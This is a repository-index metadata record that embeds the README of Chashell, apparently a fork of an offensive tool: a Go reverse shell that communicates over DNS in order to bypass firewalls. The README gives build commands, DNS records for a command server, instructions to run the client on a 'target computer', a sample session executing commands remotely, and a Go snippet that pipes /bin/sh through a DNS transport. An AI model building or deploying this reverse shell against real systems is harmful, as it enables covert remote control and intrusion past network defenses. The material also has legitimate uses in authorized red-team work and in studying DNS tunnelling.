{"id":13841760,"url":"https://github.com/kost/chashell","last_synced_at":"2025-07-11T13:32:24.464Z","repository":{"id":59045649,"uuid":"530952078","full_name":"kost/chashell","owner":"kost","description":"Chashell is a Go reverse shell that communicates over DNS. It can be used to bypass firewalls or tightly restricted networks.","archived":false,"fork":true,"pushed_at":"2023-04-09T21:29:10.000Z","size":149,"stargazers_count":7,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2024-08-05T17:29:04.322Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"sysdream/chashell","license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/kost.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2022-08-31T05:52:29.000Z","updated_at":"2024-01-07T08:51:51.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/kost/chashell","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kost%2Fchashell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kost%2Fchashell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kost%2Fchashell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kost%2Fchashell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/kost","download_url":"https://codeload.github.com/kost/chashell/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225729653,"owners_count":17515150,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:01:20.509Z","updated_at":"2024-11-21T12:30:23.043Z","avatar_url":"https://github.com/kost.png","language":"Go","funding_links":[],"categories":["Go"],"sub_categories":[],"readme":"# Chashell\n\n## Reverse Shell over DNS\n\nChashell is a [Go](https://golang.org/) reverse shell that communicates over DNS. \nIt can be used to bypass firewalls or tightly restricted networks.\n\nIt comes with a multi-client control server, named `chaserv`.\n\n![Chaserv](img/chaserv.gif)\n\n### Communication security\n\nEvery packet is encrypted using symmetric cryptography ([XSalsa20](https://en.wikipedia.org/wiki/Salsa20) + [Poly1305](https://en.wikipedia.org/wiki/Poly1305)), with a shared key between the client\nand the server.\n\nWe plan to implement asymmetric cryptography in the future.\n\n### Protocol\n\nChashell communicates using [Protocol Buffers](https://developers.google.com/protocol-buffers/) serialized messages. For reference, the Protocol Buffers structure (`.proto` file) is available in the `proto` folder.\n\nHere is a (simplified) communication chart :\n\n![Protocol](img/proto.png)\n\nKeep in mind that every packet is encrypted, hex-encoded and then packed for DNS transportation.\n\n### Supported systems\n\nChashell should work with any desktop system (Windows, Linux, Darwin, BSD variants) that is supported by the Go compiler.\n\nWe tested those systems and it works without issues :\n\n* Windows (386/amd64)\n* Linux (386/amd64/arm64)\n* OS X (386/amd64)\n\n### How to use Chaserv/Chashell\n\n#### Building\n\nMake sure the [GOPATH](https://github.com/golang/go/wiki/GOPATH) environment variable is correctly configured before running these commands.\n\nBuild all the binaries (adjust the domain_name and the encryption_key to your needs):\n\n\n```\n$ export ENCRYPTION_KEY=$(python -c 'from os import urandom; print(urandom(32).encode(\"hex\"))')\n$ export DOMAIN_NAME=c.sysdream.com\n$ make build-all\n```\n\nBuild for a specific platform:\n\n```\n$ make build-all OSARCH=\"linux/arm\"\n```\n\nBuild only the server:\n\n```\n$ make build-server\n```\n\nBuild only the client (*chashell* itself):\n\n```\n$ make build-client\n```\n\n#### DNS Settings\n\n* Buy and configure a domain name of your choice (preferably short).\n* Set a DNS record like this : \n\n```\nchashell 300 IN A [SERVERIP]\nc 300 IN NS chashell.[DOMAIN].\n```\n\n#### Usage\n\nBasically, on the server side (attacker's computer), you must use the `chaserv` binary. For the client side (i.e the target), use the `chashell` binary.\n\nSo:\n\n* Run `chaserv` on the control server.\n* Run `chashell` on the target computer.\n\nThe client should now connect back to `chaserv`:\n\n```\n[n.chatelain]$ sudo ./chaserv\nchashell \u003e\u003e\u003e New session : 5c54404419e59881dfa3a757\nchashell \u003e\u003e\u003e sessions 5c54404419e59881dfa3a757\nInteracting with session 5c54404419e59881dfa3a757.\nwhoami\nn.chatelain\nls /\nbin\nboot\ndev\n[...]\nusr\nvar\n```\n\nUse the `sessions [sessionid]` command to interact with a client.\nWhen interacting with a session, you can use the `background` command in order to return to the `chashell` prompt.\n\nUse the `exit` command to close `chaserv`.\n\n## Implement your own\n\nThe `chashell/lib/transport` library is compatible with the `io.Reader` / `io.Writer` interface. So, implementing a reverse shell is as easy as :\n\n```go\ncmd := exec.Command(\"/bin/sh\")\n\ndnsTransport := transport.DNSStream(targetDomain, encryptionKey)\n\ncmd.Stdout = dnsTransport\ncmd.Stderr = dnsTransport\ncmd.Stdin = dnsTransport\ncmd.Run()\n```\n\n## Debugging\n\nFor more verbose messages, add `TAGS=debug` at the end of the make command.\n\n## To Do\n\n* Implement asymmetric cryptography ([Curve25519](https://en.wikipedia.org/wiki/Curve25519), [XSalsa20](https://en.wikipedia.org/wiki/Salsa20) and [Poly1305](https://en.wikipedia.org/wiki/Poly1305))\n* Retrieve the host name using the `InfoPacket` message.\n* Create a *proxy/relay* tool in order to tunnel TCP/UDP streams (Meterpreter over DNS !).\n* Better error handling.\n* Get rid of dependencies.\n\n## Credits\n\n* Nicolas Chatelain \u003cn.chatelain -at- sysdream.com\u003e","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fkost%2Fchashell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fkost%2Fchashell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fkost%2Fchashell/lists"}